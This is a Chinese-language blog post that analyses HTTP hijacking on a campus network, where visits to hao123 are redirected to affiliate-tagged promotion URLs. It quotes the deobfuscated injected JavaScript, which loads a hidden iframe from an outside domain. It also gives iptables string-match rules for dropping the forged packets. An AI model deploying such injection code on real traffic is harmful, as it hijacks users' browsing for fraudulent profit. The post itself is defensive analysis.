片头
前几个星期,在贴吧看到了有校园网用户反应 hao123 无法打开,目测存在循环重定向的问题:校园网他妈的是被劫持了吗??打开 hao123 无限跳转
在文章最前面,讲一下本文的测试环境:
位置:校园网宿舍(电信出口)
系统:Archlinux
初步测试
经过了本人的测试,挟持问题存在,但循环重定向导致不能打开的问题难以复现。
当用户直接打开 http://www.hao123.com/
的时候,根据浏览器的不同,正常情况下,普通浏览器来说是会跳转到 https://www.hao123.com/
的,少数部分浏览器是会直接返回 HTTP/1.1 200 OK
直接返回网页,不过这也是正常的。
经过多次测试,在挟持的情况下,最终用户会被跳转到两个不同的推广地址。经过网上的搜索核实, ?tn=????????_hao_pg
为 hao123 的推广地址,也就是说,你的每一次访问,某些人都会从中获利。
挟持的推广地址如下:
http://www.hao123.com/?tn=90049484_hao_pg
http://www.hao123.com/?tn=99945998_hao_pg
深入研究
burpsuite 暴力测试
通过 burpsuite 连续发 100 个 HTTP 包,我发现挟持是随机的。
有时候连续几个包都是正常包,有时候连续几个包都是挟持包,甚至有时候只有一个正常包,然后上下有 N 个挟持包。(反正我没发现规律
在多次测试之下,我发现在不同的情况下,总共会有三个不同的挟持包。
为了给大家一个直观的感觉,我将这三个挟持包都上传到了我的网站。其中,第二个我访问的地址是 /?tn=0
https://paste.ubuntu.com/p/dBjX9qt24D/
https://paste.ubuntu.com/p/bMCQdtkRfS/
https://paste.ubuntu.com/p/BnXy37J3P8/
三个挟持包,第 1 和第 2 个基本上是相同的,唯一的区别在于第二个还设置了 Cookies 。我姑且将前面两个包归为一类,两种挟持包的制作不一,可以看到应该是出自不同人之手。
前者的代码经过混淆,不过很容易被网上的工具所解密。解密之后的代码如下:
(function(r, o, k, v) {
r.onerror = function() {
return !0;
};
var i = 0,
da = o.getElementById("d"),
db = da.scrollWidth,
dt = parseInt(db / 200),
de = function(n) {
var c = n.charAt(0) * 1;
if (isNaN(c)) return "";
c = n.substr(1, c) * 1;
if (isNaN(c)) return "";
var l = n.length,
t = [],
a,
f,
b,
e = String(c).length + 1,
m = function(d) {
return k.indexOf(n.charAt(d));
},
i = k.length;
if (l != e + c) return "";
while (e < l) {
a = m(e++);
if (a < 5) f = a * i + m(e);
else f = (a - 5) * i * i + m(e) * i + m((e += 1));
t[t.length] = String.fromCharCode(f);
e++;
}
return t.join("");
},
tn = de(v),
pu = function() {
if (i <= db) {
da.innerHTML = "<div id='c' style='width:" + i + "px;'><!----></div>";
setTimeout(pu, dt);
} else {
da.innerHTML = "<div id='c' style='width:100%'><!----></div>";
~(function(a) {
a.style.display = "none";
a.src = "http://www.tianjiwen.com/hao/?tn=" + tn;
da.insertBefore(a, null);
})(o.createElement("iframe"));
}
i = i + 10;
};
pu();
})(
self,
document,
"ABCDEFGHIJKLMNOPQRSTUVWXYZ",
"230CFCFCFCACBCFCFCEDREADTEHDREIDZ"
);
唯一有用的东西就是 tianjiwen.com
,不过域名似乎是虚假信息注册的。
Registrant Street: china
Registrant City: dexin
Registrant State/Province: zhangye
Registrant Email: xajh8888@gmail.com
再来看另外一个,没有混淆,意图直截了当,就是让你跳转到他的地址上。
因此可以判断,前者挟持包所对应的推广地址是 http://www.hao123.com/?tn=99945998_hao_pg
,后者挟持包对应的推广地址是 http://www.hao123.com/?tn=99945998_hao_pg
神奇的参数
经过测试,当然上面我也有所提及,当 GET 的地址存在一个参数时,经过测试无论是什么参数都好(例:http://www.hao123.com/?a
或 http://www.hao123.com/?a=1
),只要参数存在,就会返回 hijacking-2.txt
这个挟持包。
这样的话就不难推断出用户反映的循环重定向的问题了。
直接访问 http://www.hao123.com
,被挟持到 http://www.hao123.com/?tn=90049484_hao_pg
,连接存在参数,跳转 http://www.hao123.com/?tn=99945998_hao_pg
,然后出于某种原因,两个推广直接撕逼,然后导致循环重定向,打不开 hao123 的问题。
wireshark 抓包
这里抓到的包是 hijacking-3.txt
的包,也就是跳转到 90049484
的包。
简单分析一下,52-54 是 TCP 三次握手,握手成功后,55 本地提出了这个请求,然后 56 就收到了回复,不过是挟持包的。另外,58 同样也是挟持包,而真正的包在 63 的位置。
通过看 TTL ,我们也看出了异常。
53 中回复我们 SYN,ACK 的 TTL 是 47 ,这和我们 ping 目标主机得到的结果是一样的,基本断定这个是真实的。然而 55 / 58 中回复我们的 TTL 却是 210 ,这显然不是我们想要的结果。
然后通过 tcp.stream eq 2
过滤显示结果
这里抓到的包是 hijacking-[1|2].txt
的包,也就是跳转到 99945998
的包。
前面的握手我就不多说了,大体和上面一样,这次和上面不同的是。11 的 tcp-flags 是 FIN,PSH,ACK
,比上面的多了一个 PSH
。
在网上找到的解释:
Push flag is used to push the data without any intermediate buffering(storing)
摘自:TCP flags: Hackers Playground | Packet Crafter
大概的作用除了标记有数据传输之外,还有一个加速传输的作用,目的应该就是为了让这个挟持包比正确包更快的到达用户电脑。
同样,这次的正常包比挟持包慢了,因此又被落在了后面。
另外值得一提的是,这次的挟持包 TTL 是 57 ,因此我不负责任的判定是有两台不同的设备在搞鬼。
然后通过 tcp.stream eq 1
过滤显示结果
解决方案
使用 HTTPS
将 https://www.hao123.com/
设置为主页
逐个分析,逐个击破
我们先对 hijacking-3.txt
进行分析,观察他返回的 HTTP headers 头,有一个很明显的特征,并且经过多日的实验,他都是不变的,那就是他的 Server 名
Server: c7#|<J
线上部署的时候,我想应该没有人会用这个作为自己 web 容器的名字的。
因此,我们可以用这个作为关键词,在 iptables 中进行关键字的 DROP
sudo iptables -A INPUT -p tcp --sport 80 -m string --string "Server: c7#|<J" --algo bm -j DROP
如果是路由器设置的话需要把 INPUT
改成 FORWARD
设置规则后,经过多次测试,后者的挟持已经不会再影响到我们了。
直接访问 http://www.hao123.com/
已经可以
接下来到另外一个挟持包,这种的话,特征也是有的,那就是他设置的 qh[360]=1
,我至今也不知道他设置这个用意何在,是为了嫁祸给数字公司吗?
结合他独特的 PSH
标签,我们可以设置这样的 iptables 规则
sudo iptables -A INPUT -p tcp --sport 80 -m string --string "qh[360]=1" --algo bm --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP
至此,问题解决!
总结
1、设置 https://www.hao123.com
为首页
2、设置 iptables 规则如下:
sudo iptables -A INPUT -p tcp --sport 80 -m string --string "Server: c7#|<J" --algo bm -j DROP
sudo iptables -A INPUT -p tcp --sport 80 -m string --string "qh[360]=1" --algo bm --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP
路由器设置的话,将 INPUT
改为 FORWARD
写在最后
由于本人技术有限,部分地方可能有纰漏,敬请指出!